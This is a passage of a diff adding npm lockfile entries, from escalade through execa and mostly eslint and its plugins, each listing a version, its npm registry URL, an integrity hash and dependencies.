"sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w==" + }, + "node_modules/escalade": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.2.tgz", + "integrity": "sha512-ErCHMCae19vR8vQGe50xIsVomy19rg6gFu3+r3jkEO46suLMWBksvVyoGgQV+jOfl84ZSOSlmv6Gxa89PmTGmA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==" + }, + "node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/escodegen": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz", + "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==", + "dependencies": { + "esprima": "^4.0.1", + "estraverse": "^5.2.0", + "esutils": "^2.0.2" + }, + "bin": { + "escodegen": "bin/escodegen.js", + "esgenerate": "bin/esgenerate.js" + }, + "engines": { + "node": ">=6.0" + }, + "optionalDependencies": { + "source-map": "~0.6.1" + } + }, + "node_modules/escodegen/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eslint": { + "version": "8.56.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.56.0.tgz", + "integrity": "sha512-Go19xM6T9puCOWntie1/P997aXxFsOi37JIHRWI514Hc6ZnaHGKY9xFhrU65RT6CcBEzZoGG1e6Nq+DT04ZtZQ==", + "dependencies": { + "@eslint-community/eslint-utils": "^4.2.0", + "@eslint-community/regexpp": "^4.6.1", + "@eslint/eslintrc": "^2.1.4", + "@eslint/js": "8.56.0", + "@humanwhocodes/config-array": "^0.11.13", + "@humanwhocodes/module-importer": "^1.0.1", + "@nodelib/fs.walk": "^1.2.8", + "@ungap/structured-clone": "^1.2.0", + "ajv": "^6.12.4", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.2", + "debug": "^4.3.2", + "doctrine": "^3.0.0", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^7.2.2", + "eslint-visitor-keys": "^3.4.3", + "espree": "^9.6.1", + "esquery": "^1.4.2", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^6.0.1", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "globals": "^13.19.0", + "graphemer": "^1.4.0", + "ignore": "^5.2.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "is-path-inside": "^3.0.3", + "js-yaml": "^4.1.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.4.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.1.2", + "natural-compare": "^1.4.0", + "optionator": "^0.9.3", + "strip-ansi": "^6.0.1", + "text-table": "^0.2.0" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-config-prettier": { + "version": "8.10.0", + "resolved": "https://registry.npmjs.org/eslint-config-prettier/-/eslint-config-prettier-8.10.0.tgz", + "integrity": "sha512-SM8AMJdeQqRYT9O9zguiruQZaN7+z+E4eAP9oiLNGKMtomwaB1E9dcgUD6ZAn/eQAb52USbvezbiljfZUhbJcg==", + "dev": true, + "bin": { + "eslint-config-prettier": "bin/cli.js" + }, + "peerDependencies": { + "eslint": ">=7.0.0" + } + }, + "node_modules/eslint-config-react-app": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/eslint-config-react-app/-/eslint-config-react-app-7.0.1.tgz", + "integrity": "sha512-K6rNzvkIeHaTd8m/QEh1Zko0KI7BACWkkneSs6s9cKZC/J27X3eZR6Upt1jkmZ/4FK+XUOPPxMEN7+lbUXfSlA==", + "dependencies": { + "@babel/core": "^7.16.0", + "@babel/eslint-parser": "^7.16.3", + "@rushstack/eslint-patch": "^1.1.0", + "@typescript-eslint/eslint-plugin": "^5.5.0", + "@typescript-eslint/parser": "^5.5.0", + "babel-preset-react-app": "^10.0.1", + "confusing-browser-globals": "^1.0.11", + "eslint-plugin-flowtype": "^8.0.3", + "eslint-plugin-import": "^2.25.3", + "eslint-plugin-jest": "^25.3.0", + "eslint-plugin-jsx-a11y": "^6.5.1", + "eslint-plugin-react": "^7.27.1", + "eslint-plugin-react-hooks": "^4.3.0", + "eslint-plugin-testing-library": "^5.0.1" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "eslint": "^8.0.0" + } + }, + "node_modules/eslint-import-resolver-node": { + "version": "0.3.9", + "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.9.tgz", + "integrity": "sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g==", + "dependencies": { + "debug": "^3.2.7", + "is-core-module": "^2.13.0", + "resolve": "^1.22.4" + } + }, + "node_modules/eslint-import-resolver-node/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/eslint-module-utils": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.8.0.tgz", + "integrity": "sha512-aWajIYfsqCKRDgUfjEXNN/JlrzauMuSEy5sbd7WXbtW3EH6A6MpwEh42c7qD+MqQo9QMJ6fWLAeIJynx0g6OAw==", + "dependencies": { + "debug": "^3.2.7" + }, + "engines": { + "node": ">=4" + }, + "peerDependenciesMeta": { + "eslint": { + "optional": true + } + } + }, + "node_modules/eslint-module-utils/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/eslint-plugin-flowtype": { + "version": "8.0.3", + "resolved": "https://registry.npmjs.org/eslint-plugin-flowtype/-/eslint-plugin-flowtype-8.0.3.tgz", + "integrity": "sha512-dX8l6qUL6O+fYPtpNRideCFSpmWOUVx5QcaGLVqe/vlDiBSe4vYljDWDETwnyFzpl7By/WVIu6rcrniCgH9BqQ==", + "dependencies": { + "lodash": "^4.17.21", + "string-natural-compare": "^3.0.1" + }, + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "@babel/plugin-syntax-flow": "^7.14.5", + "@babel/plugin-transform-react-jsx": "^7.14.9", + "eslint": "^8.1.0" + } + }, + "node_modules/eslint-plugin-import": { + "version": "2.29.1", + "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.29.1.tgz", + "integrity": "sha512-BbPC0cuExzhiMo4Ff1BTVwHpjjv28C5R+btTOGaCRC7UEz801up0JadwkeSk5Ued6TG34uaczuVuH6qyy5YUxw==", + "dependencies": { + "array-includes": "^3.1.7", + "array.prototype.findlastindex": "^1.2.3", + "array.prototype.flat": "^1.3.2", + "array.prototype.flatmap": "^1.3.2", + "debug": "^3.2.7", + "doctrine": "^2.1.0", + "eslint-import-resolver-node": "^0.3.9", + "eslint-module-utils": "^2.8.0", + "hasown": "^2.0.0", + "is-core-module": "^2.13.1", + "is-glob": "^4.0.3", + "minimatch": "^3.1.2", + "object.fromentries": "^2.0.7", + "object.groupby": "^1.0.1", + "object.values": "^1.1.7", + "semver": "^6.3.1", + "tsconfig-paths": "^3.15.0" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "eslint": "^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8" + } + }, + "node_modules/eslint-plugin-import/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/eslint-plugin-import/node_modules/doctrine": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eslint-plugin-jest": { + "version": "25.7.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-jest/-/eslint-plugin-jest-25.7.0.tgz", + "integrity": "sha512-PWLUEXeeF7C9QGKqvdSbzLOiLTx+bno7/HC9eefePfEb257QFHg7ye3dh80AZVkaa/RQsBB1Q/ORQvg2X7F0NQ==", + "dependencies": { + "@typescript-eslint/experimental-utils": "^5.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + }, + "peerDependencies": { + "@typescript-eslint/eslint-plugin": "^4.0.0 || ^5.0.0", + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "@typescript-eslint/eslint-plugin": { + "optional": true + }, + "jest": { + "optional": true + } + } + }, + "node_modules/eslint-plugin-jsx-a11y": { + "version": "6.8.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.8.0.tgz", + "integrity": "sha512-Hdh937BS3KdwwbBaKd5+PLCOmYY6U4f2h9Z2ktwtNKvIdIEu137rjYbcb9ApSbVJfWxANNuiKTD/9tOKjK9qOA==", + "dependencies": { + "@babel/runtime": "^7.23.2", + "aria-query": "^5.3.0", + "array-includes": "^3.1.7", + "array.prototype.flatmap": "^1.3.2", + "ast-types-flow": "^0.0.8", + "axe-core": "=4.7.0", + "axobject-query": "^3.2.1", + "damerau-levenshtein": "^1.0.8", + "emoji-regex": "^9.2.2", + "es-iterator-helpers": "^1.0.15", + "hasown": "^2.0.0", + "jsx-ast-utils": "^3.3.5", + "language-tags": "^1.0.9", + "minimatch": "^3.1.2", + "object.entries": "^1.1.7", + "object.fromentries": "^2.0.7" + }, + "engines": { + "node": ">=4.0" + }, + "peerDependencies": { + "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8" + } + }, + "node_modules/eslint-plugin-jsx-a11y/node_modules/aria-query": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.0.tgz", + "integrity": "sha512-b0P0sZPKtyu8HkeRAfCq0IfURZK+SuwMjY1UXGBU27wpAiTwQAIlq56IbIO+ytk/JjS1fMR14ee5WBBfKi5J6A==", + "dependencies": { + "dequal": "^2.0.3" + } + }, + "node_modules/eslint-plugin-react": { + "version": "7.33.2", + "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.33.2.tgz", + "integrity": "sha512-73QQMKALArI8/7xGLNI/3LylrEYrlKZSb5C9+q3OtOewTnMQi5cT+aE9E41sLCmli3I9PGGmD1yiZydyo4FEPw==", + "dependencies": { + "array-includes": "^3.1.6", + "array.prototype.flatmap": "^1.3.1", + "array.prototype.tosorted": "^1.1.1", + "doctrine": "^2.1.0", + "es-iterator-helpers": "^1.0.12", + "estraverse": "^5.3.0", + "jsx-ast-utils": "^2.4.1 || ^3.0.0", + "minimatch": "^3.1.2", + "object.entries": "^1.1.6", + "object.fromentries": "^2.0.6", + "object.hasown": "^1.1.2", + "object.values": "^1.1.6", + "prop-types": "^15.8.1", + "resolve": "^2.0.0-next.4", + "semver": "^6.3.1", + "string.prototype.matchall": "^4.0.8" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8" + } + }, + "node_modules/eslint-plugin-react-hooks": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-4.6.0.tgz", + "integrity": "sha512-oFc7Itz9Qxh2x4gNHStv3BqJq54ExXmfC+a1NjAta66IAN87Wu0R/QArgIS9qKzX3dXKPI9H5crl9QchNMY9+g==", + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0" + } + }, + "node_modules/eslint-plugin-react/node_modules/doctrine": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eslint-plugin-react/node_modules/resolve": { + "version": "2.0.0-next.5", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.5.tgz", + "integrity": "sha512-U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA==", + "dependencies": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/eslint-plugin-testing-library": { + "version": "5.11.1", + "resolved": "https://registry.npmjs.org/eslint-plugin-testing-library/-/eslint-plugin-testing-library-5.11.1.tgz", + "integrity": "sha512-5eX9e1Kc2PqVRed3taaLnAAqPZGEX75C+M/rXzUAI3wIg/ZxzUm1OVAwfe/O+vE+6YXOLetSe9g5GKD2ecXipw==", + "dependencies": { + "@typescript-eslint/utils": "^5.58.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0", + "npm": ">=6" + }, + "peerDependencies": { + "eslint": "^7.5.0 || ^8.0.0" + } + }, + "node_modules/eslint-scope": { + "version": "7.2.2", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.2.2.tgz", + "integrity": "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-webpack-plugin": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/eslint-webpack-plugin/-/eslint-webpack-plugin-3.2.0.tgz", + "integrity": "sha512-avrKcGncpPbPSUHX6B3stNGzkKFto3eL+DKM4+VyMrVnhPc3vRczVlCq3uhuFOdRvDHTVXuzwk1ZKUrqDQHQ9w==", + "dependencies": { + "@types/eslint": "^7.29.0 || ^8.4.1", + "jest-worker": "^28.0.2", + "micromatch": "^4.0.5", + "normalize-path": "^3.0.0", + "schema-utils": "^4.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "eslint": "^7.0.0 || ^8.0.0", + "webpack": "^5.0.0" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "node_modules/eslint-webpack-plugin/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/jest-worker": { + "version": "28.1.3", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-28.1.3.tgz", + "integrity": "sha512-CqRA220YV/6jCo8VWvAt1KKx6eek1VIHMPeLEbpcfSfkEeWyBNppynM/o6q+Wmw+sOhos2ml34wZbSX3G13//g==", + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/eslint-webpack-plugin/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/eslint/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/eslint/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/eslint/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/eslint/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/eslint/node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "node_modules/eslint/node_modules/globals": { + "version": "13.24.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-13.24.0.tgz", + "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==", + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/eslint/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/eslint/node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/espree": { + "version": "9.6.1", + "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz", + "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==", + "dependencies": { + "acorn": "^8.9.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^3.4.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/esquery": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.5.0.tgz", + "integrity": "sha512-YQLXUplAwJgCydQ78IMJywZCceoqk1oH01OERdSAJc/7U2AylwjhSCLDEtqwg811idIS/9fIU5GjG73IgjKMVg==", + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estree-walker": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-1.0.1.tgz", + "integrity": "sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg==" + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/eventemitter3": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==" + }, + "node_modules/events": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/execa": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + 